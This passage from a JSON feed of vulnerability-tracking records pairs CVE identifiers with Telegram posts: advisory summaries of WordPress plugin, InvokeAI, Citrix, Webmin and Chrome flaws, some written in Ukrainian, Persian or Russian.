"Telegram/MmhdZ478J5V7BjYfuWVQSUbCwRuwBDWKSNeHo7EBPZtcEGW8", "content": "", "creation_timestamp": "2025-02-24T14:08:42.000000Z"}, {"uuid": "fa111912-fa2a-44a0-a6ff-2faa13d1a7a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12386", "type": "seen", "source": "https://t.me/cvedetector/17859", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12386 - WordPress WP Abstracts CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12386 \nPublished : Feb. 12, 2025, 12:15 p.m. | 38\u00a0minutes ago \nDescription : The WP Abstracts plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.7.3. This is due to missing nonce validation on multiple functions. This makes it possible for unauthenticated attackers to delete arbitrary accounts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T14:22:20.000000Z"}, {"uuid": "ce0504ed-834f-49ba-9c05-72420915a186", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://t.me/hackyourmom/10575", "content": "\ud83d\udd0d \u041a\u0440\u0438\u0442\u0438\u0447\u043d\u0430 \u0443\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u0443 s2Member Pro \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0456\u0434 \u0437\u0430\u0433\u0440\u043e\u0437\u0443 \u043c\u0456\u043b\u044c\u0439\u043e\u043d\u0438 \u0441\u0430\u0439\u0442\u0456\u0432! \u0412\u0438\u044f\u0432\u043b\u0435\u043d\u043e CVE-2024-12562 (CVSS 9.8), \u0449\u043e \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u043f\u0440\u043e\u0432\u0430\u0434\u0436\u0443\u0432\u0430\u0442\u0438 \u0448\u043a\u0456\u0434\u043b\u0438\u0432\u0456 PHP-\u043e\u0431\u2019\u0454\u043a\u0442\u0438 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0456\u0457 \ud83d\udc7e #cybernews", "creation_timestamp": "2025-02-18T16:22:49.000000Z"}, {"uuid": "f1c48243-893f-4cfe-a155-a653eb6e617a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12029", "type": "published-proof-of-concept", "source": "https://t.me/information_security_channel/53868", "content": "CVE-2024-12029 \u2013 InvokeAI Deserialization of Untrusted Data vulnerability\nhttps://www.offsec.com/blog/cve-2024-12029/\n\nCVE-2024-12029: A critical deserialization vulnerability in InvokeAI's /api/v2/models/install endpoint allows remote code execution via malicious model files. Exploit risk for AI art servers.\nThe post CVE-2024-12029 \u2013 InvokeAI Deserialization of Untrusted Data vulnerability (https://www.offsec.com/blog/cve-2024-12029/) appeared first on OffSec (https://www.offsec.com/).", "creation_timestamp": "2025-07-17T18:03:20.000000Z"}, {"uuid": "a715d464-0b11-4610-8f97-76ba8e8d421f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/HackerNewscyber/1859", "content": "\ud83d\udd34\u0647\u06a9\u0631 \u0646\u06cc\u0648\u0632: Citrix \u0631\u0641\u0639 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0631\u0627 \u0628\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0641\u0632\u0627\u06cc\u0634 \u0627\u0645\u062a\u06cc\u0627\u0632 \u06a9\u0646\u0633\u0648\u0644 NetScaler \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\n\n\ud83d\udd3a\u0647\u06a9\u0631 \u0646\u06cc\u0648\u0632:Citrix CVE-2024-12284\u060c \u06cc\u06a9 \u0646\u0642\u0635 \u06a9\u0646\u0633\u0648\u0644 NetScaler (CVSS 8.8) \u0631\u0627 \u0631\u0641\u0639 \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u0627\u0645\u06a9\u0627\u0646 \u0627\u0641\u0632\u0627\u06cc\u0634 \u0627\u0645\u062a\u06cc\u0627\u0632 \u0631\u0627 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0641\u0648\u0631\u06cc \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u0627\u0633\u062a - \u0647\u06cc\u0686 \u0631\u0627\u0647\u200c\u062d\u0644\u06cc \u062f\u0631 \u062f\u0633\u062a\u0631\u0633 \u0646\u06cc\u0633\u062a.\n\n\ud83d\udea8@HackerNewsCyber", "creation_timestamp": "2025-02-20T07:07:09.000000Z"}, {"uuid": "052d2b01-e747-41a5-aded-f840f02b6459", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "https://t.me/cvedetector/17849", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12213 - \"WordPress WP Job Board Pro Privilege Escalation Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12213 \nPublished : Feb. 12, 2025, 10:15 a.m. | 37\u00a0minutes ago \nDescription : The WP Job Board Pro plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 1.2.76. This is due to the plugin allowing a user to supply the 'role' field when registering. This makes it possible for unauthenticated attackers to register as an administrator on vulnerable sites. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T12:41:56.000000Z"}, {"uuid": "c426ef64-d7b1-4b0c-a08d-85afb20436ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12296", "type": "seen", "source": "https://t.me/cvedetector/17847", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12296 - Apus Framework WordPress Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12296 \nPublished : Feb. 12, 2025, 10:15 a.m. | 37\u00a0minutes ago \nDescription : The Apus Framework plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the 'import_page_options' function in all versions up to, and including, 2.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T12:41:51.000000Z"}, {"uuid": "b462793b-6752-468c-9f83-7c6ebb5b9564", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://t.me/CyberBulletin/1819", "content": "\u26a1\ufe0fCVE-2024-12828 (CVSS 9.9): Webmin Vulnerability Leaves a Million Servers Exposed to RCE.\n\n#CyberBulletin", "creation_timestamp": "2024-12-24T09:07:54.000000Z"}, {"uuid": "4e6cea89-7755-40ae-bb44-3d5d0aaf2f09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "Telegram/yaRRF354Ygu4wAwdZLiZFlJ3d4I86LY0KmRJv0c9BGXTfSM", "content": "", "creation_timestamp": "2025-02-24T15:51:22.000000Z"}, {"uuid": "3bd5a895-ceb4-446b-bd35-ad9cca46a25b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12164", "type": "seen", "source": "https://t.me/cvedetector/17825", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12164 - WPForms Google Spreadsheet Addon Unauthenticated Setting Reset Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12164 \nPublished : Feb. 12, 2025, 5:15 a.m. | 1\u00a0hour, 26\u00a0minutes ago \nDescription : The WPSyncSheets Lite For WPForms \u2013 WPForms Google Spreadsheet Addon plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the wpsslwp_reset_settings() function in all versions up to, and including, 1.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to reset the plugin's settings. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T08:30:37.000000Z"}, {"uuid": "bd768d7e-5846-4859-99c9-552b01fc71fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "Telegram/3nQ215WuQOWdZQKeZBaIP8vpQqNbbUtTb-nrUf0AySs0VQ", "content": "", "creation_timestamp": "2025-07-08T12:25:16.000000Z"}, {"uuid": "b3f21f07-c451-41d6-8c5b-20e9291fff1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12692", "type": "seen", "source": "https://t.me/BitLenta/38767", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 131 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0440\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0434\u0432\u0438\u0436\u043e\u043a JavaScript V8.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12692, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 55 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e \u043d\u0435\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0442\u0430\u043a\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE).\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 BugBounty, - \u044d\u0442\u043e \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12693 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0435\u0435 \u0433\u0440\u0430\u043d\u0438\u0446, \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 20\u00a0000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 CVE-2024-12694, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Compositing, \u0438 CVE-2024-12695, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8. \u0412\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 131.0.6778.204/.205 \u0434\u043b\u044f Windows \u0438 macOS, \u0430 \u0442\u0430\u043a\u0436\u0435 - 131.0.6778.204 \u0434\u043b\u044f Linux.\n\nGoogle \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e Google \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u0440\u044f\u0434 \u0448\u0430\u0433\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Chrome, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 Rust.\n\n\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 Rust \u043f\u0440\u0438\u0432\u0435\u043b \u043a\u00a0\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e\u00a0\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Android \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u044f\u0442\u044c \u043b\u0435\u0442, \u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u044e\u0442\u0441\u044f \u0438 \u0432 Chrome, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Google \u0442\u0430\u043a\u0436\u0435\u00a0\u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u0442\u00a0\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0430 Rust.", "creation_timestamp": "2024-12-19T16:55:44.000000Z"}, {"uuid": "a4ba0b34-ec27-4a8c-8d4f-007660f95eba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12693", "type": "seen", "source": "https://t.me/BitLenta/38767", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 131 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0440\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0434\u0432\u0438\u0436\u043e\u043a JavaScript V8.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12692, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 55 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e \u043d\u0435\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0442\u0430\u043a\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE).\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 BugBounty, - \u044d\u0442\u043e \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12693 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0435\u0435 \u0433\u0440\u0430\u043d\u0438\u0446, \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 20\u00a0000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 CVE-2024-12694, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Compositing, \u0438 CVE-2024-12695, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8. \u0412\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 131.0.6778.204/.205 \u0434\u043b\u044f Windows \u0438 macOS, \u0430 \u0442\u0430\u043a\u0436\u0435 - 131.0.6778.204 \u0434\u043b\u044f Linux.\n\nGoogle \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0422\u0430\u043a\u0436\u0435 